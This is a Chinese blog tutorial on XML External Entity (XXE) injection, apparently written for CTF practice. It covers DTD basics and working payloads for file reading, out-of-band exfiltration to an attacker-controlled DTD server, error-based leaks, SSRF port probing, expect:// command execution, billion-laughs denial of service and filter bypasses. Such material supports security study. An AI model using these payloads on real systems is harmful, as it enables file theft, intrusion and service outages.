XXE 基础汇总

什么是XML

XML

即 可扩展标记语言(Extensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:

  • HTML 被设计用来显示数据
  • XML 被设计用来传输和存储数据

XML文档结构包括:

  • XML声明
  • DTD文档类型定义(可选)
  • 文档元素

典型的XML文档

1
2
3
4
5
6
7
8
9
10
11
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>

<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>

<!--文档元素-->
<foo>&xxe;</foo>

引用 TSRC的一篇文章 的图:

1OcSx0.png

DTD:

Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD一般认为有两种引用或声明方式:

  • 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
  • 2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

DTD实体有以下几种声明方式

内部实体

1
2
3
4
5
<!DOCTYPE note [
<!ENTITY a "flag">
]>
<note>&a</note>
<!-- flag -->

参数实体

1
2
3
4
5
6
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "wust">">
%b;
]>
<note>&b1</note>
<!-- wust -->
  • 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
  • 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

外部实体

1
2
3
4
5
<!DOCTYPE note> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- eW91X25lZWRfYV9ncmlsZnJpZW5k -->

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示

1O6vPs.png

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

1O6X5j.png

外部参数实体

1
2
3
4
5
6
<!DOCTYPE note> [
<!ENTITY % d SYSTEM "http://ctf.w-ais.cn/xml.dtd">
%d;
]>
<note>&d1</note>
<!-- eW91X25lZWRfYV9ncmlsZnJpZW5k -->
1
2
<!-- http://ctf.w-ais.cn/xml.dtd -->
<!ENTITY d1 SYSTEM "data://text/plain;base64,eW91X25lZWRfYV9ncmlsZnJpZW5k">

内部声明DTD
根元素 [元素声明]>
引用外部DTD
根元素 SYSTEM "文件名">
或者
根元素 PUBLIC "public_ID" "文件名">

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

内部声明实体
实体名称 "实体的值">

引用外部实体
实体名称 SYSTEM "URI">
或者
实体名称 PUBLIC "public_ID" "URI">

XML外部实体注入(XML External Entity)

任意文件读取

一般xxe利用分为两大场景:有回显和无回显。

有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。

有回显

恶意引入外部实体
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<user><username>&xxe;</username><password>123</password></user>
恶意引入外部参数实体
1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vps-ip/payload.dtd">
%file;
]>
<test>&xxe;</test>

无回显

Blind XXE详解与Google CTF一道题分析

OOB(out-of-band)

先使用php://filter读取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)

1
2
3
4
5
6
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

触发XXE攻击后,服务器会把文件内容发送到攻击者网站

基于报错

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。

通过引入服务器文件

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://vps/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>

xml.dtd

1
2
3
<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;

通过引入本地文件

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
&#x25;eval;
&#x25;send;
'>
%remote;
]>
<message>1234</message>

第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;在ISOamso定义的实体中相继调用了eval、和send

内网探测

SSRF(Server-Side Request Forgery:服务器端请求伪造),说白了就是借助漏洞实现内网探测

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&xxe;</firstname><lastname>666</lastname></user>

当然,这里的127.0.0.1可以替换成任意你想要的内网地址,我们就可以借此实现对内网的探测。和读文件差不多,只不过把URI改成内网机器地址。

我们也可以探测内网的端口

1O6xGn.png

1O6z2q.png

探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。

RCE(远程命令执行 Remote Command/Code Execute)

这种情况很少见,并不是传统意义上的任意命令执行,只是因为环境的特殊配置,导致XML与某些命令操作关联,进而造成了命令执行。即有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

Response:

1
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

eg :

1Oc9MV.png

1OcCrT.png

该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

DOS攻击

XML DOS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。

或者,如果目标是UNIX系统

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&xxe;</foo>

如果 XML 解析器尝试使用 /dev/random 文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。

绕过姿势

参考 cl4y的blog

大小写绕过

利用正则匹配的不严格,大小写绕过。

html实体编码绕过

如果过滤了http等协议,可以利用实体编码绕过:

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
%a;
%b;
]>
<test>&hhh;</test>

data://协议绕过

1
2
3
4
5
6
7
8
9
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMTguMjUuMTQuNDA6ODIwMC9oYWNrLmR0ZCc+">
%a;
%b;
]>
<test>&hhh;</test>
<!--编码内容-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

file://协议加文件上传

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://filter协议加文件上传

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

更加深入的可参考 XXE 拓展


XXE 基础汇总
https://52hertz.tech/2020/02/13/xxe_basic/
作者
Ustin1an
发布于
2020年2月13日
许可协议